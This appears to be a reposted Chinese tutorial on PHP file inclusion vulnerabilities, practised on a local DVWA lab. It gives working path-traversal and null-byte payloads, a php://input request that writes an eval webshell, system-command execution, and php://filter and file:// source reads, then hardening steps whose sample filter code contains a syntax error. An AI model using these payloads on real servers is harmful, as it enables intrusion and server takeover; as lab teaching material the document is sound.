概述
文件包含的漏洞的概括
文件包含的漏洞是 程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include() , include_once() , require_once() ... ),而且包含函数中的变量,没有做一些过滤或者限制,使得用户可以 控制传到服务器中的数据,导致文件包含漏洞。
目录:
文件包含漏洞的执行规则:
1. 验证其存在本地文件包含漏洞,使页面包含 C 盘里面的 flag.txt 文件.
2.验证其存在 远程文件包含漏洞.
3. 利用远程文件包含漏洞,向服务器上写入文件名为 shell.php 的一句话木马,查看创建的文件内容及结果.
4. 利用 php 输入流,执行系统命令,查看服务器开放的端口,对 url 及页 面回显内容.
5.用php协议,读取文件源码用法(防止出现乱码)(用base64编码)
6.file协议的用法(用来访问本地文件系统)
7. 对漏洞进行加固,对 php 的配置文件进行配置,使其无法 对远程文件进行包含.
8.对漏洞代码进行加固.
免责声明:
严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。
文件包含漏洞的执行规则:
文件包含漏洞可以怎么理解,就是一个 A 文件包含着另一个 B 文件,将包含着 B 文件里面的内容,以这个网站的脚本代码 去执行(如果你的网站是php就是php去执行文件里面的内容,如果你的网站是python,那就是python去执行文件里面的内容)
靶场:
本地自己搭建的DVWA靶场:Win XP(IP地址:192.168.0.105)
DVWA靶场搭建链接:DVWA的靶场搭建_半个西瓜.的博客-CSDN博客
1. 验证其存在本地文件包含漏洞,使页面包含 C 盘里面的 flag.txt 文件.
(1)确定服务器C盘上有 flag.txt 文件.
(2)验证DVWA靶场文件包含是否存在 本地文件包含 漏洞.
../../../../../../flag.txt ( ../ 是上一个目录的意思.) ( flag.txt 是文件名.)
(3)如果服务器的后台代码有固定的后缀名限制.
就是加%00,/././././././././......再或者是.................(意思就是:使服务器后台的固定文件名失效)
2.验证其存在 远程文件包含漏洞.
这个是说明 allow_url_include 没有开启.(DVWA靶场的准备工作.)
勾起:phpStudy的allow_url_include
再改文件里的allow_url_include为On.
(重启phpStudy)就不会出现 allow_url_include 没有开启了.
验证(DVWA靶场)存在远程文件包含漏洞.
(1)phpinfo是 txt文件.
(2)在192.168.0.105(DVWA靶场地址)的www目录下.
(3)利用DVWA靶场的文件包含漏洞 使得phpinfo文件被php代码执行.
命令:?page=http://192.168.0.105:801/phpinfo.txt
3. 利用远程文件包含漏洞,向服务器上写入文件名为 shell.php 的一句话木马,查看创建的文件内容及结果.
(1)写入一句话木马用法:
http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=php://input
勾选 < Post data >
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["bgxg"]); ?>'); ?>
写入一个 shell.php 文件,内容为 <?php @eval($_POST["bgxg"]); ?>
(2)浏览刚刚写入 shell.php 文件.
http://192.168.0.105:801/DVWA/vulnerabilities/fi/shell.php
(3) 用菜刀连接.
4. 利用 php 输入流,执行系统命令,查看服务器开放的端口,对 url 及页 面回显内容.
(1)执行php代码用法:
http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=php://input
勾选 < Post data >
<?php system('netstat -ano'); ?>
用php代码执行,执行系统命令 查看服务器开放的端口(netstat -ano)
5.用php协议,读取文件源码用法(防止出现乱码)(用base64编码)
(1)原理:php://filter/read=convert.base64-encode/resource=【文件名】
(2)实际用法:http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file2.php
(3)然后复制base64编码,再用base64编译器解析(在线找 base64 编译器就行).
6.file协议的用法(用来访问本地文件系统)
(1)原理:file://【文件的绝对路径和文件名】
????(2)实际用法:http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=file://c:/flag.txt
7. 对漏洞进行加固,对 php 的配置文件进行配置,使其无法 对远程文件进行包含.
(1)先找到php配置文件的位置.
利用远程文件包含的方法(phpinfo.txt文件的代码:<?php phpinfo(); ?>):
http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=http://192.168.0.105:801/phpinfo.txt
(2)用写入的木马,进行连接服务器.
(1)http://192.168.0.105:801/DVWA/vulnerabilities/fi/shell.php (木马的位置.)
(2)php配置文件的路径:C:phpStudyphpphp-5.4.45php.ini
(3)把 php.ini 文件下载下来,找到 allow_url_include 然后把 On 改为 off
(4)再把 php.ini 文件上传上去,替换掉旧版的php.ini文件(再用远程链接访问,发现访问不了。(成功修复远程文件包含漏洞.))
http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=http://192.168.0.105:801/phpinfo.txt
8.对漏洞代码进行加固.
(1)没有做任何加固的代码.
<?php
$file = $_GET[ 'page' ];
?>
(2)过滤掉(http://,https://,../,..)的加固方式.
<?php
$file = $_GET[ 'page' ];
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", ".."" ), "", $file );
?>
(3)固定后缀名加固.
<?php
$file = $_GET[ 'page' ];
include($file.".htnl");
?>
(4)固定文件加固.
<?php
$file = $_GET[ 'page' ];
include('文件名(如:index.php)');
?>
php伪协议的参考:php伪协议 - 看不尽的尘埃 - 博客园
最后
以上就是孝顺宝贝为你收集整理的Web安全 文件包含漏洞 (直接拿到 服务器 的最高权限)的全部内容,希望文章能够帮你解决Web安全 文件包含漏洞 (直接拿到 服务器 的最高权限)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复